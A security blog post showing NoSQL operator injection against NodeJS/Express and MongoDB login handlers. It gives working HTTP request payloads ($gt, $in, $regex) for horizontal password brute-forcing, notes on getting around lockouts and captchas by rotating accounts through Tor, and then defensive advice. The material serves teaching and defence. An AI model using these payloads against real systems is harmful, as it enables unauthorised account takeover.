Attacking NodeJS and MongoDB - Part To

In the last post I showed a simple, yet effective hacking technique, that can be used against applications, written on top of NodeJS and MongoDB. This technique works because developers may not validate the type of the input provided by the user. By using this hacking technique we can bypass login prompts, elevate privileges, query excessively the database and other SQLI-like (SQL Injection) attacks.

nodejs and mongodb hacking part 2

In this post I will show you how we can take this technique further in order to create a very effective password guessing/bruteforcing attack against NodeJS and MongoDB. I have also created a playground project for you try it out.

Introduction To Login Prompt Hacking

Attacking the login system is relatively straightforward process. Given that we know the username, we can try a dictionary of common passwords in order to find a word that matches the account details under attack. Because these attacks are so common and easy to do, there are two primary defense mechanisms available at our disposal. These are account lock out and captchas.

Account lock out works by placing a locking flag on the account after several consecutive failed login attempts. Once the lock is in place, either the user needs to talk to an administrator or unlock the account by providing additional information. It is also possible that the account may get locked out for certain amount of time, like between 5 to 10 minutes, to make the hacker give up due to the fact that the attack will take too long under these circumstances.

Captchas, on the other hand, prevent automated attacks. If the application detects that it is under attack it may start asking the user to solve a little puzzle that we know computers are not very good at due to not having cognitive powers like we do, yet. Most of the time captchas are in the form of an images containing letters and numbers, which you need to type-back to ensure you are not a robot.

Both of these defense mechanisms are easily defeatable under the right circumstances. My favorite method is to convert the attack from the vertical kind (i.e try one user with many passwords) to the horizontal kind (i.e. try many users with the same passwords). It is hard to protect against this type of attack especially if it happens from multiple points of origin, like when you are using Tor exit nodes.

Here, I have attached the slides from our Web Application Security 101 training course if you are interested in authentication security.

<iframe src="//www.slideshare.net/slideshow/embed_code/37315206" width="100%" height="520" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>

Attacking NodeJS and MongoDB Login Prompts

This was quite a bit of introduction but it does set the stage for the next act. So, before we move on here is a snippet of code, which demonstrates how you would do authentication with NodeJS and MongoDB:

app.post('/', function (req, res) {
  User.findOne({ user: req.body.user }, function (err, user) {
    if (err) {
      return res.render('index', { message: err.message })
    }

    // ---

    if (!user) {
      return res.render('index', { message: 'Sorry!' })
    }

    // ---

    if (user.hash != sha1(req.body.pass)) {
      return res.render('index', { message: 'Sorry!' })
    }

    // ---

    return res.render('index', { message: 'Welcome back ' + user.name + '!!!' })
  })
})

This is pretty much by-the-book example how to authenticate users. First, we take the user to find a record in the database. After that we calculate the password hash and compare it to the hash that we have in store. Now if we apply the same technique that we used last time, you will find out that it doesn't work.

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$gt]=&pass[$gt]=

It doesn't work because only the user field is used for the query. The pass is compared manually after the account is identified. On the top of that, the password is a hash, which means that we cannot really pass objects because the application will throw and error.

I suspect you are already guessing where I am going with this. The user field is still injectable and it can be used to manipulate the query. One thing that we can do is to use a single common password and try it on many accounts, i.e. create a horizontal bruteforce as I explained earlier. Great idea. This is how it is going to look like in practice:

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$in][]=admin&user[$in][]=user&pass=abc123

By using this request we essentially run a query that looks like this: {user: {"$in": ["admin", "user"]}}. This special urlencoding format is handled by the qs module, which is the default in the ExpressJS web framework and body-parser middleware - both very popular and pretty much standard when developing NodeJS applications. By tacking advantage of this feature, we can bruteforce the username with a single request and test the password all at the same time. However, if both admin and user exist only admin will be tested for the password abc123. If only the developer had been using .find instead of .findOne the situation would have been very different.

Improving The NodeJS/MongoDB Login Hack

Hope is not lost yet. We can still use this situation to our advantage. For example, what if we don't know the username at all and we do not want to bruteforce it either - at least not completely? We will maximize our login attack to make it very, very effective. For this we are going to use the $regex MongoDB query operator. The query that we want to execute will look like this: {"pass": {"$regex": "a"}}. As an HTTP request, the attack will look like this:

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=a&pass=abc123

This request will instruct the application to find the first user that has the letter a and test it against the password abc123. Surely this will turn quite a few accounts and only the first one will be tested. However, if we continue using this query but with combinations of 2-3 letter words, we will quickly exceed the account pool. For example we can try running the following sequence of requests:

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=ab&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=ba&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=cd&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=dc&pass=abc123

We can even use Regular Expressions to maximize the search. For example:

POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=ab.c&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=ba.c&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=cd.e&pass=abc123
POST http://target/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user[$regex]=dc.e&pass=abc123

Keep in mind that these are only examples to illustrate the idea. The bottom line is that by using this technique we can cover a lot of area with just a few requests without the need to do any account discovery beforehand. Suddenly, this attack becomes very feasible.

A Look At Our Defenses

Now we know how easy it is to compromise any NodeJS and MongoDB application that is not carefully written. The question is how to protect against this type of attack and I have a few good suggestions.

First, getting rid of the qs module is a good idea unless you really need it. The chances are that you don't. Have a look at query.js part of ExpressJS for more information how this module is used. A simple patch during build time via Grunt will do the job. You can also use your own middleware to flatten out any nested object structures in the query or the body. We will publish a helper middleware for this soon.

Second, using hashes instead of passwords is a good thing but using per-account hash salts is better. When the account is first created, just generate a random string and save it as the the salt. Use the salt with the hashing function. This way you are not only preventing this attack but also rainbow table attacks.

Third, always validate the user input. JavaScript is dynamically typed so you need to do a bit of extra work before working with any data supplied by the user. CoffeeScript makes this process slightly easier on the eye but you can make your own clever middleware to handle this automatically. Make sure that it is not too clever for its own sake.

It Is Finally Over

I hope this enjoyed this post. It is Friday after all and we all deserve a bit of fun and rest. I will put up more articles about this subject soon. If you have any ideas or comments just use the discussion thread, HackerNews, NetSec or wherever else this post ends up. We are monitoring all of them so we will get into the discussion.